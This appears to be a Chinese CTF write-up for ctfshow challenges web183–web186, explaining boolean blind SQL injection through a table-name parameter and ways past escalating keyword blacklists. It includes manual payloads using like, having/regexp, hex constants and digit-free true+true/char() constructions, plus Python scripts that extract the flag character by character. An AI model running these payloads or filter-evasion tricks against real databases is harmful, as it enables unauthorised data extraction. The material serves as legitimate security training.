web183 - web186 涉及盲注,不管是时间盲注还是布尔盲注,若用手工,会非常耗时,通常使用脚本
重点:
1、了解 python脚本 编写
2、了解条件语句(where、having)区别
3、了解sql语句位运算符
4、了解mysql特性
5、扩展了解简单爬虫
目录web183
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}
//返回用户表的记录总数
$user_count = 0;
黑名单增加:or、and、=
知识点
1、sql语句:逻辑运算符(and、or、not)
位运算符(&、|、~、^)
2、requests模块(爬虫模块)
payload
1、确定注入方式
//先查询 ctfshow_user 表试试水
tableName=ctfshow_user
查询结果
//再查询一个不存在的表
tableName=111
查询结果
很明显,正确查询会有对应结果,错误查询输出0
很符合盲注的特点,即:正确查询,返回对应数据;错误查询,返回失败或者什么都没有(什么都没有也是一种页面状态)
此处使用布尔盲注(时间盲注也行,但太耗时间,选择布尔盲注)
2、布尔盲注思路:利用布尔值,对 flag 进行挨个判断,flag 是由 ctfshow{} +十六进制(0 ~ f)+ - 组成
3、注入
(1)手工注入
手工注入主要提供思路(手工验证更准确一点)
-- 之前字段为 password ,本题改为 pass
-- 先确定 flag 的特征没变
-- 此处返回的 user_count 值为 1 ,说明 flag 特征没变
tableName=`ctfshow_user`where`pass`like'ctfshow{%25'
-- 探测 flag 第一位
-- 按照 }0123456789-abcdef{ 的顺序探测(顺序是有讲究的,不讲究也可)
-- flag 固定开头:ctfshow{
-- 固定结尾:}
tableName=`ctfshow_user`where`pass`like'ctfshow{}%25' --}错误,很明显怎么可能以}开头
tableName=`ctfshow_user`where`pass`like'ctfshow{0%25' --0错误
tableName=`ctfshow_user`where`pass`like'ctfshow{1%25' --1错误
--中间省略
tableName=`ctfshow_user`where`pass`like'ctfshow{8%25' --8正确
-- 探测 flag 第二位
tableName=`ctfshow_user`where`pass`like'ctfshow{80%25' --0错误
tableName=`ctfshow_user`where`pass`like'ctfshow{89%25' --9正确
-- 手工注入非常耗时且麻烦,推荐写个脚本
(2)python 脚本注入(可以使用 sqlmap,但不推荐,从 web201 开始,为 sqlmap 设置了专门的题)
requests 库属于爬虫常用库,再会一点 re 库或者 BeautifulSoup4 库,可写简单爬虫
import requests
url = 'http://e150ad9b-3017-467b-bc7b-7bfda2642ed2.challenge.ctf.show/select-waf.php'
strlist = '{}0123456789-abcdef'
flag = ''
for j in range(50): #不知道 flag 长度,尽量长一点(实际有38位,从{算起,到}结束)
#对 flag 按位匹配
for i in strlist:
data = {
'tableName': "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag+i)
}
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond:
print('--------------------正确',i)
flag += i
print('ctfshow{}'.format(flag))
break
else:print('==================='+i+'错误')
if flag[-1] == '}':exit() #判断 flag 是否获取完整
web184
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;
黑名单增加:'、“、union、sleep、where、benchmark(基准测试)
黑名单移除:空格
禁用联合注入、时间盲注和模糊查询
知识点
1、where 与 having
where 是对原始数据进行筛选
having 是对结果集进行筛选
2、sql语句中的正则表达式
分析:移除了空格,考虑 group by 和 order by 等本就含有空格的关键字
移除了单双引号,也就移除了字符串,而 like 必须后接字符串,相当于移除了 like
字符串类型,可以使用十六进制代替
183 是利用 like 进行挨个匹配,也可以使用正则表达式进行挨个匹配
2、**mysql支持十六进制**
payload
(1)手工注入
-- ctfshow{ 的十六进制为 0x63746673686f777b
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)
-- 探测第一位
-- 按0123456789-abcdef}{ 顺序
-- ctfshow{0 的十六进制为 0x63746673686f777b30
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b30) --0错误
-- ctfshow{1 的十六进制为 0x63746673686f777b31
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b31) --1错误
-- ctfshow{9 的十六进制为 0x63746673686f777b39
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b39) --9正确
-- 探测第二位
-- 后续步骤省略
(2)python脚本
import requests
url = 'http://8227d26e-6942-4c3b-bd58-6ab02995a7e7.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdef}'
flagstr = ''
flag = ''
for j in range(50): #不知道 flag 长度,尽量长一点(实际有38位,从{算起,到}结束)
for i in strlist:
j = hex(ord(i))[2:] #hex() 转为十六进制,ord() 转为Unicode编码
data = {
'tableName': "ctfshow_user group by pass having pass regexp(0x{})".format(flagstr+j)
}
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond:
print('--------------------正确',i)
flagstr += j
flag += i
print(flag)
break
else:print('==================='+i+'错误')
if flag[-1] == '}':exit() #判断 flag 是否获取完整
web185
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;
黑名单增加:数字
知识点
1、ord() 与 char()
2、mysql 中 true 为 1,false 为 0
3、mysql 中的十进制、十六进制区别
分析:
1、没有数字,我们需要构造出数字
(1)查看该语言是否存在可以被识别成数字的关键字(true为1,false为0)
(2)利用位运算符拼凑出数字
(3)利用 ASCII 码自增或自减
这里我们使用第一种
2、此处不允许使用 '、",变相禁用字符串,但十六进制常量被视为字符串,且不需要单双引号
payload
(1)手工注入
① 步骤分析,以ctfshow为例
-- ctfshow{ 的十六进制为 0x63746673686f777b
-- c 的 ASCII码,十六进制值为:0x63,十进制值为:99
-- 本题黑名单增加了数字,因此需要构造数字
1)构造数字
-- false 等于 0,true 等于 1,且 true+true = 2(这点非常重要)
-- 构造十六进制
-- 0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true
-- 用 concat() 进行连接 concat(false,‘x’,(true+true+true+true+true+true),(true+true+true))
-- 这样在本地环境中可得 0x63
-- 但很可惜,x 使用了单引号(被过滤),尝试用数字表示 x
2)构造字母
-- 这里核心为 char(),支持十进制(数字、字符串)和十六进制(仅数字)
-- x 的 ASCII码,十六进制值为:0x78,十进制值为:120
-- 获取 x 的三种方法:char(0x78)、char(120)、char('120')
-- 在上面,构造十六进制出现问题,因此此处构造十进制
-- 构造十进制
-- x 的十进制为 120,120个 true 相加即可,实现起来非常简单(可以使用运算符,但注意是否存在运算符被屏蔽的情况)
-- 这里选择拆分120
-- 120 转为字符串,拆分成1、2、0,可用 true、true+true、false
-- 如下可获取 x
-- char(concat(true,(true+true),false))
3)构造指定字母的ASCII码十六进制的值
-- ctfshow{ 的十六进制为 0x63746673686f777b
-- c 的 ASCII码,十六进制值为:0x63,十进制值为:99
-- x 的 ASCII码,十六进制值为:0x78,十进制值为:120
-- 构造 ctf 的十六进制(0x637466)
-- concat(false,char(concat(true,(true+true),false)),(true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true+true),(true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true))
-- 然后发现在本地环境根本跑不出来
-- 0x637466 为字符串,mysql仅支持十六进制的数字,不支持十六进制的字符串
4)构造指定字母的ASCII码十进制的值
-- mysql支持十进制的数字和字符串,此条在上面有说明
-- 这里以 ctf 为例
-- c(十进制99):char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true)))
-- t(十进制116):char(concat(true,true,(true+true+true+true+true+true)))
-- f(十进制102):char(concat(true,false,(true+true)))
-- ctf:concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true))))
②验证
//原payload为:tableName=ctfshow_user group by pass having pass regexp(ctf)
tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true),(true+true+true))+true),(power((true+true),(true+true+true))+true))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true)))))
验证成功,可自行根据上述思路用脚本进行注入,这样可增加理解
当然,也可以使用手工注入,本人也十分推荐
(2)python脚本
个人认为 185 的预期解是用位运算符,因为 186 屏蔽了位运算符,这种方法应该是非预期解吧
①这里将所有字符转为 ASCII码,再对 ASCII码 进行拆解,如 ASCII码 为 123,则拆解为1、2、3,用 concat() 连接
import requests
url = 'http://765f915a-f841-4b7f-ad1b-ad93aaebf6db.challenge.ctf.show/select-waf.php'
strlist = '{0123456789-abcdef}'
flagstr = ''
flag = ''
strdict = {'0':'false,','1':'true,','2':'(true+true),',
'3':'(true+true+true),','4':'(true+true+true+true),',
'5':'(true+true+true+true+true),','6':'(true+true+true+true+true+true),',
'7':'(power((true+true),(true+true+true))-true),',
'8':'(power((true+true),(true+true+true))),',
'9':'(power((true+true),(true+true+true))+true),'
}
for j in range(666): #不知道 flag 长度,尽量长一点(实际有38位,从{算起,到}结束)
for i in strlist:
m = ''
#将每个字符转成 Unicode编码对应的十进制(Unicode编码为ASCII码扩展)
#对其十进制进行拆分转换,这样可以降低一点时间复杂度
for x in str(ord(i)):
m += strdict[x]
m = 'char(concat('+m[:-1]+')),'
data = {
'tableName': "ctfshow_user group by pass having pass regexp(concat({}))".format(flagstr+m[:-1])
}
respond = requests.post(url, data=data) # 获取页面代码
respond = respond.text # 解析成字符串类型
if 'user_count = 1' in respond:
print('--------------------正确',i)
flagstr += m
flag += i
print('ctfshow'+flag)
break
else:print('==================='+i+'错误')
if flag[-1] == '}':exit() #判断 flag 是否获取完整
②位运算
代码与上面一致,只是数字用 << 表示,确实要少一两个true,其余思路没想出来
strdict = {'0':'false,','1':'true,','2':'(true<<true),',
'3':'((true<<true)+true),','4':'(true<<true+true),',
'5':'((true<<true+true)+true),','6':'((true<<true+true)+true+true),',
'7':'((true+true<<true+true)-true),',
'8':'(true+true<<true+true),',
'9':'((true+true<<true+true)+true),'
}
web186
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
//返回用户表的记录总数
$user_count = 0;
黑名单增加:%、<、>、^
很明显,185的预期解是用位运算符(<<、>>、^、&),& 必须使用 %26 代替(脚本不用)
payload
同 web185 第一个脚本
标签:web,--,183,flag,186,ctfshow,pass,true,user From: https://www.cnblogs.com/IFS-/p/17350543.html